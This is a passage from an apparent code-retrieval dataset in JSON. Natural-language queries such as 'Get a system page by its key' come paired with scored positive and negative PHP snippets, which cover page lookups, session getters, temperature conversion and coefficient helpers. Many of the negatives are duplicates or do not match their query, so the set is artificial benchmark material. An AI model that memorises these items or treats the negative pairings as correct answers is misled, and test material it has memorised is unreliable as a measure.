}\n \n usleep ( 500000 ); // This prevents Google from summarily ejecting us as abusers.\n }\n else\n {\n $ret['published'] = 0;\n echo ( \"<tr><td colspan=\\\"3\\\" style=\\\"color:blue;font-size:large;font-weight:bold;background-color:orange\\\">GEOCODE FAILURE FOR MEETING $in_count! BAD ADDRESS: '$address_string'</td></tr>\\n\" );\n echo ( \"<tr><td colspan=\\\"3\\\" style=\\\"font-style:italic;font-size:medium;color:blue;background-color:orange\\\">Meeting $in_count will be unpublished. You should edit this meeting, correct the address information, and set the longitude and latitude.</td></tr>\\n\" );\n }\n }\n else\n {\n $ret['published'] = 0;\n echo ( \"<tr><td colspan=\\\"3\\\" style=\\\"color:blue;font-size:large;font-weight:bold;background-color:orange\\\">GEOCODE FAILURE FOR MEETING $in_count! CAN'T CREATE ADDRESS!</td></tr>\\n\" );\n echo ( \"<tr><td colspan=\\\"3\\\" style=\\\"font-style:italic;font-size:medium;color:blue;background-color:orange\\\">Meeting $in_count will be unpublished. You should edit this meeting, add the address information, and set the longitude and latitude.</td></tr>\\n\" );\n }\n }\n elseif ( ($gOutput_level == 'PROLIX') || ($gOutput_level == 'VERBOSE') )\n {\n echo ( \"<tr><td colspan=\\\"3\\\">This already has a long/lat. No need to geocode</td></tr>\\n\" );\n }\n \n $background = '';\n \n if ( !$ret['published'] )\n {\n $background = \";background-color:orange\";\n }\n \n if ( $gOutput_level != 'MINIMAL' )\n {\n echo ( '<tr>' );\n echo ( \"<td style=\\\"width:34%;border-bottom:2px solid black;font-weight:bold;font-size:large$background\\\">\" );\n echo ( 'Read From File' );\n echo ( '</td>' );\n echo ( \"<td style=\\\"width:33%;border-bottom:2px solid black;font-weight:bold;font-size:large$background\\\">\" );\n if ( ($gOutput_level == 'PROLIX') || ($gOutput_level == 'VERBOSE') )\n {\n echo ( 'Converted' );\n }\n echo ( '</td>' );\n echo ( \"<td style=\\\"width:34%;border-bottom:2px solid black;font-weight:bold;font-size:large$background\\\">\" );\n echo ( 'Stored in Database' );\n echo ( '</td>' );\n echo ( \"</tr>\\n\" );\n echo ( '<tr>' );\n echo ( \"<td style=\\\"vertical-align:top$background\\\">\" );\n echo ( '<pre>'.htmlspecialchars ( print_r ( $in_original_data, true ) ).'</pre>' );\n echo ( '</td>' );\n echo ( \"<td style=\\\"vertical-align:top$background\\\">\" );\n if ( ($gOutput_level == 'PROLIX') || ($gOutput_level == 'VERBOSE') )\n {\n echo ( '<pre>'.htmlspecialchars ( print_r ( $in_one_meeting, true ) ).'</pre>' );\n }\n echo ( '</td>' );\n echo ( \"<td style=\\\"vertical-align:top$background\\\">\" );\n echo ( '<pre>'.htmlspecialchars ( print_r ( $ret, true ) ).'</pre>' );\n echo ( '</td>' );\n echo ( \"</tr>\\n\" );\n }\n }\n elseif ( $gOutput_level != 'MINIMAL' )\n {\n echo ( \"<tr><td colspan=\\\"3\\\" style=\\\"background-color:red;color:white;padding-left:1em\\\">This meeting is deleted or too corrupted to convert.</td></tr>\\n\" );\n }\n }\n \n return $ret;\n }", "title": "" }, { "docid": "76f4aac7872c8d4c83476c04288c28cf", "score": "0.49315226", "text": "public function addToNote(\\horstoeko\\ubl\\entities\\cbc\\Note $note)\n {\n $this->note[] = $note;\n return $this;\n }", "title": "" } ]
62abdc2c20df2df16351b6641cc1d6fd
Get a system page by its key
[ { "docid": "a68d3013c2ddbd16f95e371ed9b4ea7b", "score": "0.75308305", "text": "public function get_system_page($key)\n {\n $this->db->from('wiki_pages');\n $this->db->join('wiki_drafts', 'wiki_drafts.draft_id = wiki_pages.page_draft');\n $this->db->where('page_key', $key);\n\n $query = $this->db->get();\n\n if ($query->num_rows() > 0) {\n return $query->row();\n }\n\n return false;\n }", "title": "" } ]
[ { "docid": "351e5492f534ae82c57f1999fbc37d7b", "score": "0.7042187", "text": "public function getPageByKey($key);", "title": "" }, { "docid": "fe3b1ad823503eca4748450324a519e3", "score": "0.6787442", "text": "function get_page( $key, $group ) {\n\t\treturn wp_cache_get( $key, $group );\n\t}", "title": "" }, { "docid": "9f48abf62dc3bda590111d2333531953", "score": "0.64130163", "text": "function staticGet($k,$v=NULL) { return DB_DataObject::staticGet('Lan_pages',$k,$v); }", "title": "" }, { "docid": "a18274adf387b9ca154f97b1179afed3", "score": "0.6390839", "text": "public function getPage($key) {\n\t\t$value = $this->get($key);\n\t\treturn $value instanceof Page ? $value : $this->wire()->pages->newNullPage();\n\t}", "title": "" }, { "docid": "632c12eb81f55975791da220c4e9614f", "score": "0.614798", "text": "public function get(string $key);", "title": "" }, { "docid": "632c12eb81f55975791da220c4e9614f", "score": "0.614798", "text": "public function get(string $key);", "title": "" }, { "docid": "632c12eb81f55975791da220c4e9614f", "score": "0.614798", "text": "public function get(string $key);", "title": "" }, { "docid": "632c12eb81f55975791da220c4e9614f", "score": "0.614798", "text": "public function get(string $key);", "title": "" }, { "docid": "632c12eb81f55975791da220c4e9614f", "score": "0.614798", "text": "public function get(string $key);", "title": "" }, { "docid": "632c12eb81f55975791da220c4e9614f", "score": "0.614798", "text": "public function get(string $key);", "title": "" }, { "docid": "632c12eb81f55975791da220c4e9614f", "score": "0.614798", "text": "public function get(string $key);", "title": "" }, { "docid": "e6b250fafe737f5b19daa775a479e855", "score": "0.60755867", "text": "public function getByKey($key);", "title": "" }, { "docid": "e6b250fafe737f5b19daa775a479e855", "score": "0.60755867", "text": "public function getByKey($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "c8a7641a3bd1e45dd2b096165fe81ae3", "score": "0.6004449", "text": "public function get($key);", "title": "" }, { "docid": "19802d79ba1ebb7a32f964271168644d", "score": "0.597381", "text": "public function get($key){ }", "title": "" }, { "docid": "405f88d37c6d37b255f37827635be948", "score": "0.59194386", "text": "public function get(Key $key);", "title": "" }, { "docid": "3bf5c24f771eca5e087288ae18de9d28", "score": "0.5896049", "text": "function get( $key ) ;", "title": "" }, { "docid": "0f9a4e02dfcde6c6f9f79689f9eac6b1", "score": "0.58847266", "text": "public function getPage($operation, $key);", "title": "" }, { "docid": "e3af4d89bab5a3edd8359982dfb2b941", "score": "0.5873799", "text": "abstract public function get($key);", "title": "" }, { "docid": "e3af4d89bab5a3edd8359982dfb2b941", "score": "0.5873799", "text": "abstract public function get($key);", "title": "" }, { "docid": "e3af4d89bab5a3edd8359982dfb2b941", "score": "0.5873799", "text": "abstract public function get($key);", "title": "" }, { "docid": "e3af4d89bab5a3edd8359982dfb2b941", "score": "0.5873799", "text": "abstract public function get($key);", "title": "" }, { "docid": "bae71eb66c4c1140f0279d8c302d0e3b", "score": "0.58048034", "text": "public static final function get($key) {\r\n\t\tif( function_exists('apc_fetch') )\r\n\t\t{\r\n\t\t\treturn apc_fetch($key);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tself::clearSessions();\r\n\t\t\treturn @$_SESSION['CACHE_' . $key ];\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "bc46bcc805f0b8e5c7449201019412fd", "score": "0.57980186", "text": "abstract protected function get($key);", "title": "" }, { "docid": "4ff3200622c421bdd956111fde2b4d44", "score": "0.5757919", "text": "public function get($key) {\n Get::get($key);\n }", "title": "" }, { "docid": "e365bf384c089e593f653dbbdb298967", "score": "0.5716999", "text": "public function get($key){\n\t\treturn $this->_get($key, 'GET'); \n\t}", "title": "" }, { "docid": "61960bfe06e0b91c547fb501e6d16a54", "score": "0.5716661", "text": "function getPage($pageId);", "title": "" }, { "docid": "7cfd1f6e26966e1a71e8b98953e1f1fd", "score": "0.5684235", "text": "public function get($key = null);", "title": "" }, { "docid": "3ba51061a5c6b27266ac2507a8ae4dcf", "score": "0.56674176", "text": "public function get($key) {\n\t}", "title": "" }, { "docid": "f0a7ee4c37c4be4d405c583f52712ffe", "score": "0.56659836", "text": "function GetByKey($key)\n {\n }", "title": "" }, { "docid": "5746d17ced717dd3079f575a02f3b07f", "score": "0.5659498", "text": "public function getItem($key);", "title": "" }, { "docid": "22ed33bdba4ed192febcbf8e3a4ce153", "score": "0.5636523", "text": "public function get(string|int $key);", "title": "" }, { "docid": "0a1cd7226727778466ea0650321503a4", "score": "0.5633711", "text": "public function read($key);", "title": "" }, { "docid": "0a1cd7226727778466ea0650321503a4", "score": "0.5633711", "text": "public function read($key);", "title": "" }, { "docid": "0a1cd7226727778466ea0650321503a4", "score": "0.5633711", "text": "public function read($key);", "title": "" }, { "docid": "105660e3bdef0d407b49886333e50dfd", "score": "0.5631191", "text": "public function __get($key) {\n\n $methods = array(\n 'root',\n 'dir',\n 'uri',\n 'uid',\n 'slug',\n 'title',\n 'hash',\n 'template',\n 'intendedTemplate', \n 'content',\n );\n\n // legacy code to enable getters like $page->uid\n if(in_array($key, $methods)) {\n return $this->$key(); \n } else {\n\n $content = ($this->content()) ? $this->content()->$key() : null;\n \n // legacy to get the timestamp with $page->date;\n if($content && $key == 'date') {\n $content = $content->toTimestamp();\n }\n \n return $content;\n \n }\n\n }", "title": "" }, { "docid": "c922ab9f030e805635bc8b891779c3d3", "score": "0.56267416", "text": "public function __get(string $key);", "title": "" }, { "docid": "f2700c52d0fac5000eed342d9495b9d1", "score": "0.5608236", "text": "function read($key);", "title": "" }, { "docid": "844eb09798aa5d81565448c300acfb87", "score": "0.5597069", "text": "function get_key() { }", "title": "" }, { "docid": "a7afe3d7366419b1c42ef1a4c8beccd0", "score": "0.55932665", "text": "public function get($user_key);", "title": "" }, { "docid": "c5d4b30b87196cc7c68b1baeb194e8b8", "score": "0.55931413", "text": "public static function get($key){\n self::open();\n return isset($_SESSION[\"$key\"])?$_SESSION[\"$key\"]:null;\n }", "title": "" }, { "docid": "8296321c277c7df8ccf9fe59bd9750cf", "score": "0.559264", "text": "function getPageKeys($privilege)\n{\n $pageKeys = [];\n\n foreach (WEB_PAGES as $page)\n {\n if ($page['access'] == $privilege)\n {\n array_push($pageKeys, $page['key']);\n }\n }\n\n return $pageKeys;\n}", "title": "" }, { "docid": "cfc7b3a1d23ea3aad0a2ea4106d9fe5b", "score": "0.55816483", "text": "public function get($key) {\n\t\treturn zend_shm_cache_fetch($key);\n\t}", "title": "" }, { "docid": "26c22d557920ed3ed7146a4b9ad43d09", "score": "0.5578356", "text": "public function get($key) {\n\t\treturn $_SESSION[$key];\n\t}", "title": "" }, { "docid": "7764cf381aff0cc2a01613b0bc2c1d6d", "score": "0.55567026", "text": "public function read($key) {}", "title": "" }, { "docid": "03f5e17e5e6af51def7c56b5c3d20e71", "score": "0.55533284", "text": "public static function get_key();", "title": "" }, { "docid": "32ea8609b7130739bafff1c50f776565", "score": "0.5547101", "text": "public function get($key)\n {\n return array_get($_SESSION,$key);\n }", "title": "" }, { "docid": "04ae3bf780a50f25468a298ca3df542e", "score": "0.55341595", "text": "public function key(): int\n {\n return $this->page;\n }", "title": "" }, { "docid": "6b74fafefb78b259484130c13616b63d", "score": "0.55187976", "text": "public function get($key) {\n\t\tif(ctype_digit(\"$key\")) return $this->getById((int) $key);\n\t\treturn $this->getBySelector($key);\n\t}", "title": "" }, { "docid": "a3a0fad48e00d64af922df53c24e2778", "score": "0.5517772", "text": "public function get(string $key)\n {\n }", "title": "" }, { "docid": "73bef9467981c84433d30ca378e9b35c", "score": "0.549843", "text": "function getPageIDBySystemname($systemname) {\n\t$query = db_query ( \"SELECT systemname, id FROM `\" . tbname ( \"content\" ) . \"` where systemname='\" . db_escape ( $systemname ) . \"'\" );\n\tif (db_num_rows ( $query ) > 0) {\n\t\t$row = db_fetch_object ( $query );\n\t\treturn $row->id;\n\t} else {\n\t\treturn null;\n\t}\n}", "title": "" }, { "docid": "f36f977af60d1b597e3f19e770c5c80c", "score": "0.5487226", "text": "public function get(string $key)\n{\n return $this->app->get($key);\n}", "title": "" }, { "docid": "cca097f19b79f950ac4ea41c6116b6ec", "score": "0.548292", "text": "public function getpage() {\r\n $pageId = (isset($_GET['id']) && !empty($_GET['id'])) ? $_GET['id'] : NULL;\r\n $lang = (isset($_GET['lang']) && !empty($_GET['lang'])) ? $_GET['lang'] : 'gr';\r\n\r\n if(!$pageId) {\r\n header('Content-Type: text/plain; charset=utf-8');\r\n throw new Exception(\"command section\");\r\n return;\r\n }\r\n if (file_exists(dirname(__FILE__) . '/../data/json/' . $lang . '-' . $pageId . '.json')) {\r\n header('Content-Type: application/json; charset=utf-8');\r\n echo file_get_contents(dirname(__FILE__) . '/../data/json/' . $lang . '-' . $pageId . '.json');\r\n }\r\n else {\r\n header('Content-Type: text/plain; charset=utf-8');\r\n throw new Exception(\"command section\");\r\n return;\r\n }\r\n }", "title": "" }, { "docid": "d0da02283a77ef94cc477ecec58ba1bc", "score": "0.54829186", "text": "function get($key){\n if(check($key)){\n return $_SESSION[$key];\n }\n return null;\n }", "title": "" }, { "docid": "d96284b409d8c14d02a3b9de417fdf68", "score": "0.54747486", "text": "public function getPageById($page_id);", "title": "" }, { "docid": "49462a48b3625b494c80b3f3df34d4a8", "score": "0.5466808", "text": "public function get($key)\n {\n return $_SESSION[$this->_stack][$key];\n }", "title": "" }, { "docid": "6a1d85fab3692f6ef72ab7110372c63b", "score": "0.54632795", "text": "public static function get($key)\n\t{\n\t\t// start session if needed\n\t\tif(!session_id()) self::start();\n\n\t\t// redefine key\n\t\t$key = (string) $key;\n\n\t\t// fetch key\n\t\tif(self::exists((string) $key)) return $_SESSION[(string) $key];\n\n\t\t// key does't exist\n\t\treturn false;\n\t}", "title": "" }, { "docid": "ac2c77596a203d571f7edcccff7ae65a", "score": "0.54356474", "text": "public function get($key = '')\n {\n }", "title": "" }, { "docid": "bc217cd7b926e09dea358afc953d12e2", "score": "0.5416783", "text": "public function get($key)\n\t{\n\t\tif($this->production)\n\t\t{\n\t\t\treturn $this->server->get($key);\n\t\t}\n\t}", "title": "" }, { "docid": "5992b41be2a9ebc4f3c5d3c465a55d99", "score": "0.54009336", "text": "public function findByKey($key);", "title": "" }, { "docid": "5992b41be2a9ebc4f3c5d3c465a55d99", "score": "0.54009336", "text": "public function findByKey($key);", "title": "" }, { "docid": "705970c39247c830ac4ea7f47745241b", "score": "0.5388181", "text": "public function find($id)\n\t{\n\t\t$this->fuel->load_model('fuel_pages');\n\t\tif (!is_numeric($id))\n\t\t{\n\t\t\t$page = $this->CI->fuel_pages_model->find_by_location($id);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$page = $this->CI->fuel_pages_model->find_by_key($id);\n\t\t}\n\t\treturn $page;\n\t}", "title": "" }, { "docid": "70eaabaa22106f403c6904112dd0b689", "score": "0.5384396", "text": "public function Get($key)\n {\n return apc_fetch($key);\n }", "title": "" }, { "docid": "8f57c2877fb64c6dc88aaa425a479b31", "score": "0.53682", "text": "abstract function & read ($key);", "title": "" }, { "docid": "6bed7398f00fb988f6e0d3863e013118", "score": "0.53395915", "text": "public static function read(string $key){\n self::start();\n if(isset($_SESSION[$key])){\n return $_SESSION[$key];\n }\n return \"\";\n }", "title": "" }, { "docid": "f585b005b0b0d87b8c7b02fea7382ebd", "score": "0.5334114", "text": "public function get($key)\n {\n if (!isset($_SESSION[$this->name][$key]))\n {\n return NULL;\n }\n return $_SESSION[$this->name][$key];\n }", "title": "" }, { "docid": "4a4e63aeeef07ff7a50ed938274316a4", "score": "0.53261673", "text": "public function getPageById($page_id) {\n \n if($_GET['token'] != \"\"){\n return $_SESSION[$_GET['token']]; \n }\n $this->page_id = $page_id;\n\n $data = get_row(\"select * from page where id=\" . $this->page_id);\n\n $this->page = $data;\n $this->page_type = $data['page_type'];\n \n \n $ret=array();\n $ret['page_content']=$data['page_content'];\n $this->UpPageStat();\n $this->saveVisitStat();\n return $ret['page_content'];\n \n }", "title": "" }, { "docid": "c0fa8d95f85fe1955b695556731e3923", "score": "0.5325137", "text": "public static function get($key) {\n self::init();\n if (isset($_SESSION[$key])):\n return $_SESSION[$key];\n endif;\n return false;\n }", "title": "" }, { "docid": "d1ade379f8f734ad69c9e637cf3b9e22", "score": "0.5319134", "text": "public static function get($key=null) {\n\n\t\tif($key)\n\t\t\treturn $_SESSION[$key];\n\t\telse\n\t\t\treturn pa($_SESSION);\n\n\t}", "title": "" }, { "docid": "6db0dd251b7a5012ddc68c53ddeb0497", "score": "0.5317105", "text": "public function getPageByID($id) {\n\t\t$id = (int) $id;\n\t\tif(isset($this->keyIndex[$id])) {\n\t\t\t$k = $this->keyIndex[$id];\n\t\t\tif(isset($this->data[$k]) && $this->data[$k]->id === $id) return $this->data[$k];\n\t\t}\n\t\treturn $this->getPageByProperty('id', (int) $id, true);\n\t}", "title": "" }, { "docid": "0ed50530d8f9b0cf777e06f00d0db66e", "score": "0.53055483", "text": "function papi_get_page_type_key() {\n\treturn defined( 'PAPI_PAGE_TYPE_KEY' ) ? PAPI_PAGE_TYPE_KEY : '_papi_page_type';\n}", "title": "" } ]
470297a5d6c812e70f6a0d79e5486a33
Get CRT coefficient of the second factor.
[ { "docid": "d6b5a829aa8954a69ddcd3f520369fb0", "score": "0.63133395", "text": "public function coefficient()\n {\n return $this->_coefficient;\n }", "title": "" } ]
[ { "docid": "0ba3d4df10c3055ad0b2b3804cf37bad", "score": "0.66313815", "text": "public function get2MttCreditPrec() {\n return $this->_2MttCreditPrec;\n }", "title": "" }, { "docid": "694b0bb4acf9beedc3fc890177c5d629", "score": "0.57538784", "text": "public function getMtPrime2Chantier() {\n return $this->mtPrime2Chantier;\n }", "title": "" }, { "docid": "048c29ad72c6586d238f4e32aaee5439", "score": "0.54668534", "text": "public function getFactor();", "title": "" }, { "docid": "55a9faa9c4cdd7b8a99716ac5cea8d5f", "score": "0.54638624", "text": "public function getCelular2() {\n return $this->Celular2;\n }", "title": "" }, { "docid": "9a2b87b15eca507fdca862704668bd25", "score": "0.5436764", "text": "function ctof ($temp){\n $newtemp = (9/5 * $temp) + 32;\n return $newtemp;\n }", "title": "" }, { "docid": "b8a8d2c2e15d7ceb9cdc3099a754df32", "score": "0.54266906", "text": "function F_to_C($temperature_f){\n $temperature_c = ($temperature_f - 32) * (5/9);\n return $temperature_c;\n}", "title": "" }, { "docid": "88b6c6029c5bf9048190db883f00086d", "score": "0.54113513", "text": "public function getCumBaseTrDCaisse2(): ?float {\n return $this->cumBaseTrDCaisse2;\n }", "title": "" }, { "docid": "ef58028a3345f3e2b08a526393407a9f", "score": "0.53439605", "text": "protected function factor()\n {\n # check maximum first\n if($this->confirmedSpeakerAndVenue()){\n return 0.75;\n }\n\n if($this->confirmedSpeaker()){\n return 0.5;\n }\n\n if($this->initiated()){\n return 0.3;\n }\n\n return 0;\n }", "title": "" }, { "docid": "f87b2663c505e3198bce75595c641e1e", "score": "0.53297573", "text": "public function getSecond(): int\n {\n return (int) $this->getDecimalSecond();\n }", "title": "" }, { "docid": "8aaa084303b45e4fef480d7100ecdbae", "score": "0.5260493", "text": "public function getCpScalar(): float\n {\n if ($this->isUpgraded()) {\n if ($this->level < 10) {\n return sqrt(pow($this->cpScalar, 2) + self::ADSCALAR_UNDER_10);\n } elseif ($this->level < 20) {\n return sqrt(pow($this->cpScalar, 2) + self::ADSCALAR_UNDER_20);\n } elseif ($this->level < 30) {\n return sqrt(pow($this->cpScalar, 2) + self::ADSCALAR_UNDER_30);\n }\n return sqrt(pow($this->cpScalar, 2) + self::ADSCALAR_UNDER_40);\n }\n return $this->cpScalar;\n }", "title": "" }, { "docid": "1b6bd7fb34327646ad19351e7e0283fa", "score": "0.52547836", "text": "protected function calculate_coc() {\n if (isset($this->type) && $this->type === \"Canon_APS-C\") {\n return 0.018;\n } else if (isset($this->type) && $this->type === \"Nikon_APS-C\") {\n return 0.019;\n } else if (isset($this->distance) && isset($this->image_resolution_for_25) && isset($this->enlargement)) {\n\n // Calculate CoC source from wikipedia (link above).\n // distance is in meter so we need to multiply it with 100.\n // CoC in mm = (distance cm / 25 cm ) / (desired final-image resolution in lp/mm for a 25 cm distance) / enlargement\n return ($this->distance * 100 / 25) / $this->image_resolution_for_25 / $this->enlargement;\n }\n return null;\n }", "title": "" }, { "docid": "11a72545a32e0dd5a93f7e2d51ceced0", "score": "0.5197043", "text": "public function getCoeffConvention(): ?string {\n return $this->coeffConvention;\n }", "title": "" }, { "docid": "e2886f3ca8ee78c552c112b49b03761d", "score": "0.51836497", "text": "public function getBusinessPartnerCreditTerm() {\n return $this->businessPartnerCreditTerm;\n }", "title": "" }, { "docid": "85655ba07d1945f55659e419dbdc8f9b", "score": "0.5144525", "text": "public function getCvv2()\n\t{\n\t\treturn $this->cvv2;\n\t}", "title": "" }, { "docid": "94d043e924bbbf43d03ec19552ea783c", "score": "0.51281106", "text": "public function getCommissionRate();", "title": "" }, { "docid": "98d94f75837cd9090e108311b828b70c", "score": "0.5123359", "text": "public function getCumBaseTrD1Caisse2(): ?float {\n return $this->cumBaseTrD1Caisse2;\n }", "title": "" }, { "docid": "5ec81622a85991c4b82cb77a4c9647b7", "score": "0.5081004", "text": "public function getCumBaseTr2(): ?float {\n return $this->cumBaseTr2;\n }", "title": "" }, { "docid": "39f17013de338dba1bd19e99e2e7a7d6", "score": "0.5053666", "text": "public function getRateCredit();", "title": "" }, { "docid": "1a4e217da575517f12de0c934cf66025", "score": "0.5045302", "text": "public function get_total_second_payment()\n {\n return $this->prices['part_payments']['second_payment'];\n }", "title": "" }, { "docid": "263bdd96171584127fb30c10fa3a3ad7", "score": "0.5017218", "text": "public function getMtPrime1Chantier() {\n return $this->mtPrime1Chantier;\n }", "title": "" }, { "docid": "1a84520d2b4e38884e7f7202840d2935", "score": "0.50003767", "text": "public function getCvv2()\n {\n return $this->cvv2;\n }", "title": "" }, { "docid": "d542f91646980700189bcb57699f3024", "score": "0.49821523", "text": "public function imc2(){\n return $this->getPeso() / ($this->getAltura()*$this->getAltura());\n }", "title": "" }, { "docid": "b0fa51ca4e23d759dfbd96e57060a8f3", "score": "0.49391648", "text": "public function getDecimalSecond(): float\n {\n return (($this->value - $this->getHour()) * 60 - $this->getMinute()) * 60;\n }", "title": "" }, { "docid": "9f5941bb26a8ec37f6d8af8e890af08c", "score": "0.49368498", "text": "function ptb2(float $a,float $b,float $c) : array{\n\t$result =[];\n\t$delta = $b*$b - 4*$a*$c;\n\tif($delta <0){\n\t\treturn [false];\n\t} elseif ($delta == 0) {\n\t\treturn [(-$b/(2*$a))];\n\t} else {\n\t\t$result[0] =(-$b + $delta)/(2*$a); \n\t\t$result[1] =(-$b - $delta)/(2*$a);\n\t\treturn $result; \n\t}\n\n}", "title": "" }, { "docid": "ee43f702854740f1423f16c6d66b466f", "score": "0.4925318", "text": "public function getCumBrutCaisse2(): ?float {\n return $this->cumBrutCaisse2;\n }", "title": "" }, { "docid": "d7b3b4ee469e7acf99a42bb39ca8e115", "score": "0.49213696", "text": "public function getTauxPatTrC(): ?float {\n return $this->tauxPatTrC;\n }", "title": "" }, { "docid": "f55ac60598ac17c8610b2528d46755ee", "score": "0.48934665", "text": "public function getCoefficient($index)\n\t{\n\t\treturn $this->coefficients[$index];\n\t}", "title": "" }, { "docid": "5e131942a1ec48e87c5a60f8217b6fd9", "score": "0.48749056", "text": "public function imc2(){\n\t return $this->getPeso() / ($this->getAltura() * $this->getAltura());\n\t}", "title": "" }, { "docid": "3363d8681233be32084eec5798aa9d12", "score": "0.48404464", "text": "public function getConversionRate()\n {\n return $this->conversionRate;\n }", "title": "" }, { "docid": "17c61a083f69e600c743e20cf7ec4c2a", "score": "0.48337042", "text": "function Tssb_Corr($TrUncorr, $IRdB) {\r\n $temp = $TrUncorr * (1 + pow(10, -abs($IRdB) / 10));\r\n return $temp;\r\n }", "title": "" }, { "docid": "04a34284fed68bc9f5fb0c8b1baf647a", "score": "0.48211786", "text": "public function getAdjustmentCpm() {\n $bidRed = $this->getBidReduction();\n if ($this->getImpsResold() != 0) {\n if (($bidRed / $this->getImpsResold() * 1000) < str_replace(',', '.', Constant::value('resold_tax')))\n return str_replace(',', '.', Constant::value('resold_tax')) - ($bidRed / $this->getImpsResold() * 1000);\n else\n return 0;\n } else\n return 0;\n }", "title": "" }, { "docid": "955a2315709df70177cea08d80d9b710", "score": "0.48052177", "text": "public function get_pr(){\n\t\treturn ($this -> _c) * 3;\n\t}", "title": "" }, { "docid": "58459a51ad3dc5ed4a02c32910db3c78", "score": "0.4803588", "text": "function conv_from_c($value) {\n $newtemp = (((9.0/5.0)*$value)+32);\n return $newtemp;\n}", "title": "" }, { "docid": "41bebabb300805115c034feedb03aa4b", "score": "0.48034993", "text": "public static function funcCsc($angle)\n {\n try {\n $angle = Helpers::validateNumericNullBool($angle);\n } catch (Exception $e) {\n return $e->getMessage();\n }\n\n return Helpers::verySmallDenominator(1.0, sin($angle));\n }", "title": "" }, { "docid": "f6c68440015ac76468b42b2dd2da1b61", "score": "0.47831377", "text": "public function getRacineCpt() {\n return $this->racineCpt;\n }", "title": "" }, { "docid": "ced538a55f62886db5d5014e3caad6c2", "score": "0.4775299", "text": "function _getCDF($x) {\n return 0.5+atan(($x-$this->alpha)/$this->gamma)/pi();\n }", "title": "" }, { "docid": "3e3972aa7c01ba8497c33be263445e24", "score": "0.4771858", "text": "function get_co2($distance, $dpg) {\n if ($dpg > 0) {\n return number_format((($distance / $dpg) * 19.36) / 2205, 2, '.', '');\n }\n\n return 0;\n}", "title": "" }, { "docid": "3b20c7c150be32df6b7e8db1bbc0cdc9", "score": "0.4759134", "text": "function FtoC($f) {\n return (integer) (($f - 32) / 1.8);\n}", "title": "" }, { "docid": "df1dce35c5d961ccb1b4c0769b19966a", "score": "0.47589648", "text": "public function getCV2()\n {\n return array_key_exists('intCV2', $this->data) ? $this->data['intCV2'] : null;\n }", "title": "" }, { "docid": "c0a4fd2403db1a0183ea853b18c6aef7", "score": "0.47577572", "text": "public function exponent2()\n {\n return $this->_exponent2;\n }", "title": "" }, { "docid": "c45f02662292bcca28aa3faff3b25ed0", "score": "0.4737773", "text": "function secondDegreeEquationAlgo($a, $b, $c) {\n\n\t\tif( $a<0 ) {\n\t\t\twrite('Your input value is incorrect! Try again!');\n\t\t\texit;\n\t\t}\n\n\t $delta=($b*$b)-(4*$a*$c);\n\n\t if( $delta < 0 ) {\n\t \t$delta = $delta * (-1);\n\t \t$x1 = $b.'+i*'.sqrt($delta).' / '.(2*$a);\n\t \t$x2 = -$b.'-i*'.sqrt($delta).' / '.(2*$a);\n\n\t \treturn $x1.' and '.$x2;\n\t }\n\t else if( $delta == 0 ) {\n\t\t\t$x1 = 